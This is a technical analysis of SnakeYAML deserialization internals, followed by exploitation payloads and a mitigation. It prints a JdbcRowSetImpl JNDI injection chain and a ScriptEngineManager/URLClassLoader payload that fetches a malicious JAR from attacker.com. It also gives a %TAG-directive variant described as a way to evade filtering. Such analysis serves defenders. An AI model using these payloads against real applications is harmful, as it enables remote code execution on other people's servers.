Analyzing SnakeYAML Deserialization Vulnerabilities
Dependencies
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
Example Usage
public class Example {
public static void main(String[] args) {
// YAML serialization
Employee emp = new Employee("John", 30);
Yaml yaml = new Yaml();
String serialized = yaml.dump(emp);
System.out.println(serialized);
// YAML deserialization
String input = "!!com.example.Employee {name: Jane, age: 25}";
Object result = yaml.load(input);
System.out.println(result);
}
}
Analysis
The deserialization process begins by wrapping the YAML string into a StreamReader, which is then passed to loadFromReader. This reader is further processed by a composer and constructor via setComposer.
The getSingleData method retrieves a single node using getSingleNode(). If the node exists and its tag is not NULL, constructDocument() is called to convert the node into a Java object, which internally invokes constructObject.
protected Object constructObject(Node node) {
return constructedObjects.containsKey(node)
? constructedObjects.get(node)
: constructObjectNoCheck(node);
}
A map maintains associations between nodes and their corresponding Java objects. constructObjectNoCheck is entered next.
Recursive objects (stored in a Set) represent nodes that cannot be constructed due to recursion. The getConstructor method searches for a constructor based on the tag header.
If the tag (like Person) isn't found in yamlConstructors or yamlMultiConstructors, the null constructor is used. constructor.construct is then called.
getClassForNode attempts to find the class via classForTag, wich returns null. getClassName extracts the class name from the tag, URI-decodes it (e.g., com.example.Employee), and getClassForName loads the class using Class.forName.
The null constructor's newInstance is invoked, eventually calling the default constructor for initialization.
constructJavaBean2ndStep assigns values to the object's properties.
protected Object constructJavaBean2ndStep(MappingNode node, Object obj) {
flattenMapping(node);
Class> type = node.getType();
List<nodetuple> values = node.getValue();
for (NodeTuple tuple : values) {
if (!(tuple.getKeyNode() instanceof ScalarNode)) {
throw new YAMLException("Keys must be scalars");
}
ScalarNode keyNode = (ScalarNode) tuple.getKeyNode();
Node valueNode = tuple.getValueNode();
keyNode.setType(String.class);
String key = (String) constructObject(keyNode);
try {
TypeDescription desc = typeDefinitions.get(type);
Property prop = (desc == null) ? getProperty(type, key) : desc.getProperty(key);
if (!prop.isWritable()) {
throw new YAMLException("Property not writable: " + key);
}
valueNode.setType(prop.getType());
boolean typeDetected = (desc != null) ? desc.setupPropertyType(key, valueNode) : false;
if (!typeDetected && valueNode.getNodeId() != NodeId.scalar) {
Class>[] args = prop.getActualTypeArguments();
if (args != null && args.length > 0) {
// Handle sequence, set, and map types
}
}
Object value = (desc != null) ? newInstance(desc, key, valueNode) : constructObject(valueNode);
if (prop.getType() == Float.TYPE && value instanceof Double) {
value = ((Double) value).floatValue();
}
if (desc == null || !desc.setProperty(obj, key, value)) {
prop.set(obj, value);
}
} catch (Exception e) {
throw new ConstructorException("Error setting property", e);
}
}
return obj;
}
</nodetuple>
Each key-value pair is processed iteratively. constructObject is called recursively to assign each valueNode, and property.set uses reflection to invoke setter methods. This demonstrates that deserialization relies on constructors and setter methods.
Exploitation Techniques
JdbcRowSetImpl Chain
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:8085/exploit, autoCommit: true}
This chain exploits setDataSourceName, which triggers a JNDI injection via connect when autoCommit is set to true.
ScriptEngineManager Chain
This technique leverages Java's SPI (Service Provider Interface) mechanism, which automatically loads classes defined in META-INF/services files.
Example payload:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/malicious.jar"]
]]
]
The payload uses bracket syntax to invoke parameterized constructors. During deserialization, initEngines loads the JAR and instantiates mlaicious classes implementing service interfaces.
A malicious service implementation class is packaged into a JAR and hosted on a HTTP server. When loaded, it executes arbitrary code (e.g., spawning a calculator).
Mitigation
Use SafeConstructor to define a whitelist for deserialization:
Yaml yaml = new Yaml(new SafeConstructor());
SafeConstructor only allows built-in YAML types and prevents arbitrary class instantiation.
Bypass Techniques
Tags can be declared using %TAG directives. For example:
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:8888/malicious.jar"]]]]
This alternative syntax can sometimes evade basic filtering mechanisms.